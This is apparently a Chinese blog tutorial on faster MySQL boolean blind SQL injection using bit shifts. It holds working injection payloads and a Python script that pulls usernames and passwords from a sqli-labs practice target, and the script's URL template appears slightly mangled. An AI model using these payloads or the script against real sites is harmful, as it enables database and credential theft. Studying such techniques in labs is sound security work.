mysql 位运算_高效的SQL盲注_位运算(二)

上篇回顾

高效的SQL盲注_位运算(一)

二次探究

按照位运算高位补0, 低位丢弃的特性, 有了如下猜想:

如果想要每发送一个数据包就可以判断 8位二进制ascii码 的一位, 就必须保证当前的运算结果只有0000 0000和0000 0001两种可能

那么可不可以通过位左移与位右移相互配合, 依次将一个 8位二进制ascii码 的各个位 移动到最后一位, 其它7个位全部用0填充

有了猜想就需要验证, 如下为验证数据:

(黄色为本色, 蓝色为补充位, 删除线标记为丢弃位)

字符 r 的十进制ascii码为 114, 二进制ascii码为 01110010

以 01110010 为测试数据进行运算, 结果如下

d1f2b324b7dc120b9f68dba7c6e4812d.png

由上述测试数据, 我们可以看到

位左移<

3dcc0ebdd4071ca0d75e5851ff0f03a3.png

但现在的结果是杂乱的, 无规律可循

接着进行位右移>>, 且固定平移7位, 此时低位丢7个位, 高位补7个0, 对应的结果就是会把 8位二进制数 的前一位全部顶到最后一位, 又因为前7位均为0, 最后一位只能为0或者1, 所以此时运算结果只有两种可能.

0000 0000 或者 0000 0001

d1bb0d2b50b38c744223f8f9b1057c95.png

但事实并没有这么顺利, 如下为代入数据库后真实的运算结果

select ascii('r')<<0>>7 = 0

select ascii('r')<<1>>7 = 1

select ascii('r')<<2>>7 = 3

select ascii('r')<<3>>7 = 7

select ascii('r')<<4>>7 = 14

select ascii('r')<<5>>7 = 28

select ascii('r')<<6>>7 = 57

select ascii('r')<<7>>7 = 114

4b843dd4543918b021583976b7bc3bf8.png

可以看到, 结果并不是0或者1, 意料之外, 情理之中

查阅的一些文章资料后, 找到了计算结果产生冲突的原因

在MySQL 中, 常量数字默认会以8个字节来表示, 8个字节即为64位

也就是说, 在MySQL数据库中, 每一个 数字并不止8位, 即使很小, 也是默认占64位的空间 (还有56个看不见的0在前面占着位置)

如果是这样的话, 那么上述位运算的位数, 已经不足以将 8位二进制ascii码 的各个位顶到最后一位

但这个问题并不难解决, 我们只需将上述运算的 位左移<< 依次均增加56位, 如下图

7de985f36fb14d4748a2a6267aece691.png

select ascii('r')<<56>>63 = 0

select ascii('r')<<57>>63 = 1

select ascii('r')<<58>>63 = 1

select ascii('r')<<59>>63 = 1

select ascii('r')<<60>>63 = 0

select ascii('r')<<61>>63 = 0

select ascii('r')<<62>>63 = 1

select ascii('r')<<63>>63 = 0

计算结果为10进制, 10进制的0和1与二进制的0和1换算过来是相等的, 直接拼接为 8位的二进制数: 01110010

转换成10进制为 114, 对应字符 r

ascii码中第一位均为0, 所以发送7个数据包即可

payload如下:

# MySQL布尔盲注中, 7个数据包判断当前用户名的第一个字符id=1' and ascii(substr((select user()),1,1))<<57>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<58>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<59>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<60>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<61>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<62>>63=0-- -id=1' and ascii(substr((select user()),1,1))<<63>>63=0-- -# 判断第二个字符id=1' and ascii(substr((select user()),2,1))<<57>>63=0-- -id=1' and ascii(substr((select user()),2,1))<<58>>63=0-- -id=1' and ascii(substr((select user()),2,1))<<59>>63=0-- -...

以sqli-labs靶场第5关为例, 核心代码部分如下:

# -*- coding:utf-8 -*-import requestsdef bitOperation(url):    result = ""  # 存储获取的查询结果    url_bak = url    # 外层循环由查询结果字符的长度控制,内层循环即为固定的7次位运算    for len in range(1, 777):  # 此处长度可控,也可以不做判断直接给一个很长的数字        str = '0'  # 设置当前字符的ascii码二进制的第一位默认为0        for bit in range(57, 64):            url = url.format(len, bit)  # 拼接出payload            r = requests.get(url)            # 以页面正常时的标识关键字作为区分,存在是为0,不存在是为1            if r.text.find("You are in") != -1:                str += '0'            else:                str += '1'            url = url_bak  # 还原url为初识状态        # 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上        result += chr(int(str, 2))        print(result)        if int(str, 2) == 0:  # 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)            print("已超过此次查询字符串的长度,自动停止")            return result        if int(str, 2) == 127:            print("查询内容不存在或语法错误...")            return result    return resultdef main():    url = "http://192.168.238.141/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))<>63=0-- -"    bitOperation(url)if __name__ == "__main__":    main()

脚本运行结果

c8d3919b0aaee85aeb0842fb5ccaeee1.png

由mysql执行语句监控可以看出每7个请求为一组, 判断一个字符

bc5f961b4eec5c7dcf4f00e01b3589fd.png

总结说明

重要的是请求之间不在相互依赖, 也就是说, 如果某处只能时间盲注, 我们使用 sleep(2) 函数让请求延迟2秒作为判断条件, 那么理论上可以使用多线程同时发多个数据包, 然后对每一个请求返回的状态进行处理, 依次拼接即可. 而二分法则必须等待前一次的判断结果被返回才能进行下一次判断.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值